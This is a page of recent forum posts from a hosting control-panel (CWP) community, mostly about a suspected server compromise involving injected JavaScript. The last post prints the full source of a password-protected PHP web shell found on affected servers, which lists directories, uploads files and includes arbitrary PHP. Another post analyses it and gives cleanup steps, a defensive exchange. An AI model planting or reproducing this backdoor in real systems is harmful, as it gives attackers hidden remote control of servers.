Recent Posts

31

PHP / Re: PHP-FPM Won't install zlib says missing dependency zlib-dir

« Last post by kadybee on August 26, 2026, 02:15:38 AM »

NO. If I go to PHP-FPM selector and try to edit what it installs it throws the zlib-dir dependency error even if I change nothing and LEAVE (it's already selected) zlib enabled and just hit "Save Options." There has been no fix pushed by CWP. So I can't build PHP-FPM 8.4 as I need other custom options enabled.

In the PHP-FPM Selector, select MANAGE OPTIONS of the version you are wanting to install and de-select the zlib option - then select any others you may want - and Save.

EDIT:  spoke too soon as PHP-FPM 8.5 installed after the above yet won't start due to  "Unable to start pcre module"  Will need to investigate the reinstall etc of that module to ensure it doesn't effect the earlier running version.

32

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by murad99 on August 25, 2026, 09:52:12 PM »

Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?

I am running PHP 8.3.21 for the affected websites.

The disable_functions setting in the relevant php.ini is:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec

These functions are currently disabled.

33

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by murad99 on August 25, 2026, 09:40:11 PM »

Please advise the following:

What distro are you running CWP on?

What web server are you using? Apache or Nginx?
The version of web server?

What PHP version?

Was the affected site using WordPress?
If so, what version?

Sure, here are the details:

1. Operating System:
   CentOS 7

2. Web Server:
   Nginx & Apache

Additional Options:
php-cgi/suPHP, nginx/php-fpm, apache/php-fpm, proxy

3. Web Server Versions:
   Apache 2.4.57
   suPHP 0.7.2
   Nginx 1.26.1

4. PHP Version:
   The default PHP version is 7.4.33, but all websites are running PHP 8.3.21.

5. Affected Websites:
   There are approximately 20 websites on this server.

The affected websites included:

* 2 WordPress websites
* 1 HTML website
* 5 custom-built websites
* Several subdomains

So this was not limited to WordPress websites.

6. WordPress Versions:

The two affected WordPress installations were:

* WordPress 6.8.8 — updated on August 12 at 17:52:28
* WordPress 6.9.7 — updated on August 12 at 19:19:48

For comparison, the following WordPress installations on the same server were not affected:

* WordPress 7.0.4 — updated on August 12 at 18:03:26
* WordPress 7.0.4 — updated on August 12 at 18:39:09
* WordPress 7.1 — updated on August 20 at 02:52:42
* WordPress 7.1 — updated on August 20 at 12:19:19
* WordPress 7.1 — updated on August 24 at 10:26:25

The malicious modifications were observed on August 13, while the affected WordPress installations had already been updated on August 12.

Also, since non-WordPress and custom websites were affected as well, I believe there may be another common attack vector involved.

One additional point: this is a private server and nobody other than myself has access to it.

I also noticed that the modification timestamps of the affected files were identical. This was not limited to the jQuery files of a single website; the jQuery files across the other affected websites had the same modification time as well. This makes me suspect that the modification may have been triggered from a single point and then propagated to other websites.

The WordPress installations initially looked suspicious, but the other affected websites use completely different custom infrastructures, and some of them do not even have an administrative panel. Therefore, it would not be possible to inject the code through those websites themselves.

I would also like to ask other CWP users, especially those running AlmaLinux 9 with all current updates, to check their jQuery files for the same injection. If this is a CWP-related issue, checking different operating systems and fully updated CWP installations may help identify the common attack vector.

34

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by audept on August 25, 2026, 09:39:18 PM »

Looking for advice here:

When I looked at these two cwp server logfiles:

 /usr/local/cwpsrv/logs/access_log*
/usr/local/cwpsrv/logs/error_log*

The access_log was over 3 gbs in size.

I scanned through these and saw no malicious offenders...I keep th cwp browser open all the time and I could see periodic updates into the file.

Looks like these have grown over the years, and it appears that they are on no log rotation.

Is it safe to delete these two periodically on my own?

35

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by Starburst on August 25, 2026, 03:14:00 PM »

Please advise the following:

What distro are you running CWP on?

What web server are you using? Apache or Nginx?
The version of web server?

What PHP version?

Was the affected site using WordPress?
If so, what version?

36

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by overseer on August 25, 2026, 02:06:45 PM »

Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?

37

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by murad99 on August 25, 2026, 01:48:27 AM »

Thanks for sharing this information.

I checked my server for /usr/local/cwpsrv/htdocs/admin/design/img/ico.php, but that file does not exist on my server.

I also checked my WordPress installations. They were updated on August 11, and the first wp2shell attempts appeared on August 12. Therefore, I do not have any unpatched or outdated WordPress installations that match this scenario.

So, at least in my case, neither of these appears to be the source of the compromise.

38

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by Netino on August 25, 2026, 01:31:46 AM »

I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is
(...)

Yes, this file is **100% malicious**. It is a **web shell (backdoor)** that allows an attacker to remotely control parts of the server. Unfortunately, I found it on my server as well.

The file was disguised within the CWP admin panel's images folder (`/usr/local/cwpsrv/htdocs/admin/design/img/ico.php`) in an attempt to go undetected.

**What this malicious code does:**

* **Password Protection:** Requires a password via a `POST` parameter (validated against the MD5 hash `70f54a5fc83847180f948a889f12960d`). If the password is incorrect or missing, it simulates a `404 Not Found` error to fool basic scans.

* **File Listing (`action_pwd_gan = dir`):** Allows the attacker to navigate server directories and list all existing files.

* **File Upload (`action_pwd_gan = upload`):** Allows the attacker to upload new malicious files or overwrite existing files on the server using `base64` encoding.

* **Code Inclusion (`action_pwd_gan = include`):** Arbitrarily executes other PHP files on the server using the `include()` function. ---

**Immediate Removal and Mitigation Actions:**

1. **Remove the file immediately:**

Code: [Select]

chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/
rm -f /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/

2. **Check for other files modified or created in the same folder:**

Code: [Select]

ls -lat /usr/local/cwpsrv/htdocs/admin/design/img/
I scanned my server logs and found no calls to it; however, if the server is compromised, the log entry might have been removed.
But I did find calls to it elsewhere under different names, so look for these names as well:

Code: [Select]

locate ico.php bico.php nico.phpIf you find any, take the same measures.

3. **Change all critical passwords:**
* Linux `root` user password.
* CWP panel access password.
* MySQL database and email user passwords. 4. **Inspect the server logs to understand the source of the intrusion:**
Look for access requests to the `ico.php` file in the panel logs to identify the attacker's IP address:

Code: [Select]

zgrep "ico.php" /usr/local/cwpsrv/logs/access_log*
zgrep "ico.php" /usr/local/cwpsrv/logs/error_log*

5. **Update CWP and system packages:**
Older CWP vulnerabilities are often exploited to inject this type of file into the `/usr/local/cwpsrv/` directory. Keep both the panel and the operating system fully up to date.

39

E-Mail / Re: Install Razor2 for Postfix/Dovecot Spam Filtering along with SpamAssassin

« Last post by overseer on August 25, 2026, 01:01:28 AM »

My directions are actually corrections to the initial post -- for EL8 / AlmaLinux specifically (as far as I have tested). So you will have to follow the initial post but notice my updates to get a working Razor2 installation.

40

Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection

« Last post by emerysteele on August 25, 2026, 12:36:57 AM »

I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is

Code: [Select]

<?php
if(!isset($_POST["password"]) or md5($_POST["password"])!=="70f54a5fc83847180f948a889f12960d"){
    http_response_code(404);
    die;
}
$action_pwd_gan = isset($_POST["action_pwd_gan"]) ? $_POST["action_pwd_gan"] : "";
if ($action_pwd_gan === "dir") {
    header("Content-Type: application/json");
    $dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty($dir)) {
        $dir = ".";
    }
    if (is_dir($dir)) {
        echo json_encode(["status" => "success", "files" => scandir($dir)]);
    } else {
        echo json_encode(["status" => "error", "message" => "Directory not found"]);
    }
}elseif ($action_pwd_gan === "upload") {
    header("Content-Type: application/json");
    $dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty($dir)) {
        $dir = ".";
    }
    if (isset($_REQUEST["file"])) {
        $file_name = $_REQUEST["file"];
        if (!is_dir($dir)) {
        }
        $file_path = $dir . DIRECTORY_SEPARATOR . $file_name;
        if (file_put_contents($file_path, base64_decode($_REQUEST["content"]))) {
            echo json_encode(["status" => "success", "message" => "File uploaded successfully", "file" => $file_name]);
        } else {
            echo json_encode(["status" => "error", "message" => "Failed to save file"]);
        }
    } else {
        echo json_encode(["status" => "error", "message" => "No file data provided"]);
    }
}elseif ($action_pwd_gan === "include") {
    include($_POST["dir"]);
}
?>